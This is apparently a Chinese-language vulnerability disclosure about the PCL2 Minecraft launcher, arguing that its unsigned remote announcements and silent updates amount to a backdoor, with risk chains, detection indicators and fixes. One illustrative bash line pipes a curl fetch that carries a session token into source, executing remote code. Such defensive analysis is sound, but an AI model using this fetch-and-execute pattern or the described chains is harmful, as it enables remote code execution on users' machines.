1. [向龙腾猫跃的道歉公告](#my-apology) 2. [PCL 公告/更新机制风险分析](#report) [最新更新：2.99.0.1 删掉了吗？如删！](analysis/2.99.0.1/README.md) 情况说明：对龙腾猫跃于 26 日发布的“一些情况更新”以及对“有关 PCL 存在所谓‘后门 / 漏洞’的说明” 的修订，本项目观点及结论不变。 情况说明：项目报告和PoC均已经删减来规避潜在的法务风险。 # 重申为什么是后门？ 鉴于所谓其他软件的撑腰“开团”，我想在这里作一些评论。 我一直强调的“何谓后门[^backdoor]”？一种*未经文档记录的*、获取计算机系统访问权限的途径。 在这里的情况，说人话就是：即在用户**不预知**的情况下作出意料外的事情；且软件在用户未明确授权的情况下，从远程获取并执行可由别人控制的代码。 用简单的 bash 来举例（你们最喜欢的 bash2shell 笑话：）。我们写一个 Minecraft 启动器的核心流程。 ## 举例 定义一个 Shell 函数作为一个 Minecraft 启动器。 ```bash mc() { local USERNAME="Steve" UUID="550e8400-e29b-41d4-a716-446655440000" TOKEN="114514" VERSION="1.21.1" java -cp "minecraft.jar:libs/*" net.minecraft.client.main.Main --username "$USERNAME" --uuid "$UUID" --accessToken "$TOKEN" --userType msa --version "$VERSION" --gameDir . --assetsDir assets --assetIndex 17 "$@" } ``` 这是我们预想的，对吧？**用 Java 启动一个游戏。**很简单，我想按下一个启动游戏，它应该只启动游戏。 当然，我们也可以在游戏启动之前再加一个命令。并且作为接口开放，以便所需。 注意：这也是有些人最喜欢偷换概念。说“我们的软件也有 RCE 漏洞”，而展示一个运行前的命令填写框。但这是用户自己设定的，用户能够预知会发生什么。 ```bash mc() { local <省略> local PRESTART="fcitx5-remote -c" eval "$PRESTART" # 我们知道做了什么 :) && java <省略> "$@" } ``` 但是，PCL 并不是这样。它的抽象命令是这样的。 ```bash mc() { local TOKEN="114514" <省略> local PRESTART="fcitx5-remote -c" source <(curl -fsSL "https://example.com/script?session=${TOKEN}") \ # ↑ 在这里，我们不得知做了什么。 # 即便他只是作为公告 Whatever. 但是他也有运行命令的能力。 # 而这不能预测到。我们不知道每次从互联网上 fetch 下来什么。 # 并且我们不能审查代码，因为开源版本，这里写的是：“由于包含加解密等安全信息，本文件中的部分代码已被删除” # 一些人偷换概念很搞笑 && eval "$PRESTART" \ && java <省略> "$@" } ``` 不言而喻。 我不求做什么 whistleblower，但是我们应该都知道，我们想要安心地运行一个程序。 2026-10-24 初版 2026-10-25 修订 # Notice 公告 在这里先向龙腾猫跃道歉。 我是一个兴趣使然的人，爱好研究以及 UI/UX。前两天，我在哔哩哔哩看到 SEDET 的视频——一个直接读 LLM 稿的。评论里大家都在评判他的立场和滥用 AI。但是，我看到了他想表达的事情。我从小坤鸽找到了一个样本，正如他视频演示的其中一个远程 RCE 性质的缺陷。而后，当我研究这份样本时，我独立地找到了另一个 RCE 性质的缺陷…… ……这个缺陷性质危险，我认为是一个 0-Click RCE 的后门，这相比于上一个更加危险，你可以从 PCL 的设置里检查它，它也不是 0-Click 的，你需要点击一次。但是这个不是，这近乎于后门了。 为什么？因为后门[^backdoor]是“一种*未经文档记录的*、获取计算机系统访问权限的途径。”很显然，本文的提及的两个缺陷也许都满足此定义。因为，直到被发现，开发者从来没有提及过这个功能。诚然，后门也许是出于善意设置的，但使用可以朝着恶意去使用的。个人开发者很难去自证“我设计一个功能，到底是*好*还是*坏*呢？”所以最好的办法就是“少做少错，不做不错。”但我这里并不是让开发者什么都不做，而是不做那些令人费解、令人误解的功能。 [^backdoor]: [NIST SP 800-82 Rev. 3 关于后门的定义](https://csrc.nist.gov/glossary/term/backdoor) 我曾经发现过[一个 Android 上的漏洞](https://github.com/MiRinChan#:~:text=Found%20a%20Android%20moderate%20vulnerability%20%2D%20IssueTracker%20539158279%20%28July%2027%2C%202026)，它不是代码有误，而是界面上的设计缺陷。在我或者普遍认为，一个功能只要存在不是按照目标去发展的事情，那它就存在一个缺陷或漏洞。因此，即便一个功能设计初衷是无害的，但它在能力上有害，我认为这个功能就是一种错误的存在，它不应该存在，因此，我写出报告希望大家知道它。但我并不希望大家用这份报告去做坏事，我只是希望各位开发者不要做这种功能。 对于我，我不想信任任何开发者。但即便你信任龙腾猫跃，你也应该知道，你只是信任他的人品，即“龙腾猫跃自身没有主动想去利用他写出来的功能去做坏事”这件事情。但你会信任他的开发环境吗？人是不可能随时防备的。如 LTT 频道因测评软件误运行间谍软件，导致 Cookie 被盗用。科技产品们问世必是漏洞频发的。我们不能把信任随便给出去，而代码本身会说话，它会告诉你它会做什么。因此，这就是我在几年前就[从 Windows 更换到了 NixOS，并一直使用到今天](https://github.com/MiRinChan/MaybeANixOSConfig)。因为，隐藏的代码大家不一定能读透，公开的代码可能好不到哪里去[^xz]。但是至少有很多人会盯着看。 [^xz]: 比如 `xz-utils`. 我本质希望大家能重视到减少攻击面的必要性。 我在此呼吁你，龙腾猫跃，添加几项 feature： 1. PIN 住证书。[中国国家互联网应急中心在三天前报道了一起中国境外自治域 AS 402425 恶意篡改部分 DNS 解析数据事件](https://mp.weixin.qq.com/s/CAZ90qRk6klmRu6Z9RbvMg)。其中修改了 DNS 解析值，并使用 Let's Encrypt 申领了证书。受影响的主体存在 Akamai CDN。*在本公告修订时，有报道指出 AS4847 出现可能的中间人 ssh 连接的情况。*劫持、修改响应并非不可发生，安全不可忽视。 2. 移除这类代码，转而使用“更新墙”强制更新的手段，告知用户**你接下来有事情要干**。静默更新会导致 user experience 上产生出入。这能保证用户知情“程序要做什么事情”。 我也希望龙腾猫跃能给出更好的解决办法。正如我第一次与 PCL 见面，我希望 PCL 越来越好。 祝PCL做的越来越好 米凛 aka MiRin 2026-10-23 初版 2026-10-25 修订 # PCL 公告/更新机制风险分析 2026-10-21 初版 2026-10-25 修订 2026-11-07 修订 省流：PCL2 在特定情况下有能力从服务器获取配置，并据此执行命令或替换自身。 ## 摘要 蓝奏云样本与官方仓库提交 Hex-Dragon/PCL2 `6b9a50df911c9d68b69b24c979efba477fb14b67` 中根目录的压缩包内的 exe 一致。 ``` 6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386 Plain Craft Launcher 2.exe 6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386 official/Plain Craft Launcher 2.exe ``` 无论是否“关闭”公告，程序启动时都会请求一次公告，并执行其中的动作，或触发静默更新。 这些动作与更新包都没有签名校验。我们不能确认公告一定由作者发布，也无法从公开源码审查它实际做了什么。 因此存在两条风险链： - 需要一次用户交互：公告动作可以写入影响启动流程的设置，最终由系统 shell 执行。 - 无需用户交互：远程配置可以强制客户端刷新更新配置，更新地址可指向任意包；包被解压到安装目录，用户正常退出时执行。 btw，开源仓库里的公告/更新模块被删减，远程内容无从审计。 ## 分析 ### 样本 文件名为 `Plain Craft Launcher 2.exe`。大小 5,980,160 字节。 版本 PCL2/2.99.0.0.50；`VersionCode = 413`；`BuildType = Release(50)` SHA-256 为 `6b6e1260cb5a1d6a303855f1c60cab3d0bc1aebba7e40a964180188b271e7386`。 它与官方仓库同一提交的发布包逐字节一致，不是第三方二次打包。 下面的分析只做行为层面的归纳。 ### 并非开源 ```vb '由于包含加解密等安全信息，本文件中的部分代码已被删除 ``` 公告、服务器配置、更新、土豆码等实现全无；而发布版二进制有。 也就是说，远程内容这一整块是闭源的。 许可文件表示“PCL 被龙腾猫跃保留所有权利”，且代码使用仅为指南，而并非协议。在中国，不构成合同。没有任何一个字表示过去代码如何授权，未来的指南改变是否追溯其过去。 这和社区声称“开源启动器”的论调不符。 ## 机制概述 下面用伪代码概括数据流。 ```text 启动时： 拉取公告索引与服务器配置 若服务器配置版本高于本地缓存，则覆盖本地缓存 拉取公告列表，逐条匹配适用条件 对命中的公告执行其动作 动作： 写剪贴板 / 打开网页 / 静默退出 写设置：把动作携带的键值写入程序设置，缺少完整的键名白名单 更新：进入更新流程；静默模式下不询问用户 ``` 公告与配置走 TLS，但内容本身没有签名或哈希校验。TLS 只证明“连接到了某个域名”，不证明“内容由作者发布”。 客户端里还有一段用于 CDN 防盗链的 URL 签名：密钥内置在客户端，算法只覆盖 URL 路径与时间戳，不覆盖响应内容。任何拿到客户端的人都能生成合法 URL，但它不能证明内容来源。 ## 风险链 A：公告动作写入启动前命令（需要一次交互） 公告的“写设置”动作可以把任意键值写入程序设置。设置项里包含一个“启动前命令”，启动器在启动游戏前会把它交给系统 shell 执行。 因此，攻击者只需要让一条公告命中一次，把该设置改成自己的命令；用户之后点击“启动游戏”，命令就会执行。由于需要用户点击一次，这条链不是 0-click。 公告本身有展示门槛（例如“不再提示”的等级），但门槛是客户端逻辑，可以被构造绕过。 除启动前命令外，还有若干设置会影响启动参数、自定义主页或自定义事件；能写入任意设置意味着攻击面不止一处。 ## 风险链 B：静默更新缺少完整性与来源校验（无需交互） 公告可以触发静默更新。更新流程大致如下： ```text 更新： 从服务器配置读取下载地址（不固定，可指向任意主机） 下载文件（不校验哈希或签名） 若为压缩包，解压到安装目录；否则作为补丁应用到主程序 标记“等待重启” 退出时： 若存在“等待重启”，执行安装目录中的新可执行文件 ``` 服务器配置的版本号可以被抬高，使客户端丢弃本地缓存、重新拉取配置；随后更新地址指向攻击者控制的包。整个过程不需要用户点击，用户正常关闭启动器就会执行新文件。 对比同行，一个正常的自动更新至少应该有程序签名或校验和，更新来源固定，并且行为可以被检查。这里都不是。 ## 为什么这是"后门"，不是自动更新？ 为什么？因为后门[^backdoor]是“一种*未经文档记录的*、获取计算机系统访问权限的途径。”很显然，本文的提及的两个缺陷也许都满足此定义。因为，直到被发现，开发者从来没有提及过这个功能。诚然，后门也许是出于善意设置的，但使用可以朝着恶意去使用的。个人开发者很难去自证“我设计一个功能，到底是*好*还是*坏*呢？”所以最好的办法就是“少做少错，不做不错。”但我这里并不是让开发者什么都不做，而是不做那些令人费解、令人误解的功能。 我们在这里研究的是“能不能”，不是作者“会不会？” 历史是一本教科书，他告诉我们人们不能从历史吸取教训。 Android 某 Root 程序 S……e 在服务器塞反注入代码，有两种行为，其一随机卡死手机，其二抹掉数据。目的是好的——反盗版说是，只是执行坏了——反盗版机制会干掉正版用户。 知名第三方聊天软件 N……m，开源软件不放任何恶意代码，发布版本写入自动上传代码。作者声称： > If your question is, “Is it true?”, the answer is yes, numbers were sent to the bot. But not a single number has been stored anywhere or shared with anyone ever. > > Some people are asking for an “explanation”, but what kind of explanation do you want? It sends your phone number, it is what it is. 你信吗？ 那 PCL 作者，你信吗？ ### 侏罗纪老头进蓝奏云放的 截至笔者完成本报告，没有发现第三方二次打包或额外植入的恶意代码。 ## 检测与响应 ### 主机侧 - `hosts` 或 DNS 中，公告域名被指向非官方地址； - 根证书存储中出现非官方 CA（尤其名称异常或含随机字符串的）； - 安装目录出现额外的、等待替换的启动器可执行文件； - 公告与服务器配置缓存的内容、版本号异常； - 注册表中的公告提示等级突然变大； - 设置中的“启动前命令”“自定义主页”“自定义事件”等被改成陌生值； - 启动器日志出现公告动作、静默更新、更新程序启动、全局自定义命令等关键词。 ### 网络侧 - 启动时请求公告索引、公告与服务器配置； - 随后从任意配置地址下载压缩包； - 证书异常（非官方 CA）； - DNS 解析异常。 ### 修复建议 请更换更有信任的更新机制：固定更新源，校验签名或哈希，并在更新前明确告知用户。 ## 附录 ### A. 官方来源 - 仓库： - commit 提交：`6b9a50df911c9d68b69b24c979efba477fb14b67`（`2.99.0.0 正式版`） - 相关安全公告： - （自定义主页 WebBrowser，CVE-2025-31488） - （xmlns 过滤绕过） - （ZipSlip） - （日志泄露 AccessToken） ### B. 此前的 issue “我从未收到过相关问题的 Issue 或 Security Advisory。”龙腾猫跃于“有关 PCL 存在所谓‘后门 / 漏洞’的说明”言。 本文并非原创，在 SEDET 前已有相关讨论，故不将本报告视为新的问题。故未发送任何 Issue 或 Security Advisory。 - https://github.com/Meloong-Git/PCL/issues/9465 - https://github.com/Meloong-Git/PCL/issues/7854 - https://github.com/Meloong-Git/PCL/issues/1974